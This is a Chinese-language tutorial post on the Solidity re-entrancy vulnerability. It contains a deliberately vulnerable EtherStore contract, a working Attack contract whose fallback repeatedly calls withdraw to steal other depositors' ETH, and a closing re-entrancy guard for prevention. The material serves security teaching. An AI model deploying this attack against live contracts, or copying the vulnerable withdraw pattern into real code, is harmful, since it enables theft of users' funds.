3分钟Solidity: 11.1 重入攻击

欢迎订阅专栏3分钟Solidity--智能合约--Web3区块链技术必学

如需获取本内容的最新版本,请参见 Cyfrin.io 上的"Re-Entrancy(代码示例)"

漏洞

假设合约 A调用了合约 B

重入攻击允许 BA完成执行之前回调 A

scss 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
   
EtherStore是一个可以存入和提取ETH的合约。

该合约容易受到重入攻击。

让我们看看原因。

1.  部署EtherStore

2.  从账户1(Alice)和账户2(Bob)各存入1个以太币到EtherStore

3.  部署Attack合约,传入EtherStore的地址

4.  调用Attack.attack并发送1个以太币(使用账户3(Eve))。

    你将收回3个以太币(从Alice和Bob那里窃取的2个以太币,

    加上这个合约发送的1个以太币)。

发生了什么?

攻击者能够在EtherStore.withdraw执行完成前多次调用它。

以下是函数调用的顺序:

-   Attack.attack
-   EtherStore.deposit
-   EtherStore.withdraw
-   Attack的fallback函数(收到1个以太币)
-   EtherStore.withdraw
-   Attack的fallback函数(收到1个以太币)
-   EtherStore.withdraw
-   Attack的fallback函数(收到1个以太币)
*/

contract EtherStore {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal > 0);

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // 用于检查该合约余额的辅助函数
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;
    uint256 public constant AMOUNT = 1 ether;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // 当EtherStore向该合约发送以太币时,会调用回退函数。
    fallback() external payable {
        if (address(etherStore).balance >= AMOUNT) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= AMOUNT);
        etherStore.deposit{value: AMOUNT}();
        etherStore.withdraw();
    }

    // 用于检查该合约余额的辅助函数
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

预防技术

  • 确保所有状态变更在调用外部合约之前完成
  • 使用防止重入的函数修饰符

以下是一个重入防护的示例

ini 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

Remix Lite 尝试一下

相关推荐
木西1 天前
揭秘 Web3 隐私社交标杆:CocoCat 的核心架构与智能合约实现
web3·智能合约·solidity
木西2 天前
深度拆解 Grass 模式:基于 EIP-712 与 DePIN 架构的奖励分发系统实现
web3·智能合约·solidity
Black_mario4 天前
Web3 时代的“伯克希尔”时刻:解析 Jason Hitchcock 与 Greenlane 的 Berachain 主权财库之路
web3
China_Yanhy4 天前
入职 Web3 运维日记 · 第 14 日:铸造无形钥匙 —— OIDC 与 CI/CD 施工实录
运维·web3
木西6 天前
深度解析|Form Network:BNX 迁移模块化 L2 的全流程技术实践
web3·智能合约·solidity
devmoon6 天前
区块链 Indexer 全解析:为什么 Web3 应用离不开数据索引器?(Polkadot / Ethereum / Solana 对比与未来展望)
rust·web3·区块链·以太坊·polkadot·solana·indexer
木西8 天前
STEPN相关内容延续篇:基于OpenZeppelinV5与Solidity0.8.24的创新点拆解
web3·智能合约·solidity
Lao乾妈官方认证唯一女友:D9 天前
wagmi使用方法
react.js·web3·wagmi
Lao乾妈官方认证唯一女友:D9 天前
Ethers.js使用方法
javascript·web3
木西9 天前
深度实战:用 Solidity 0.8.24 + OpenZeppelin V5 还原 STEPN 核心机制
web3·智能合约·solidity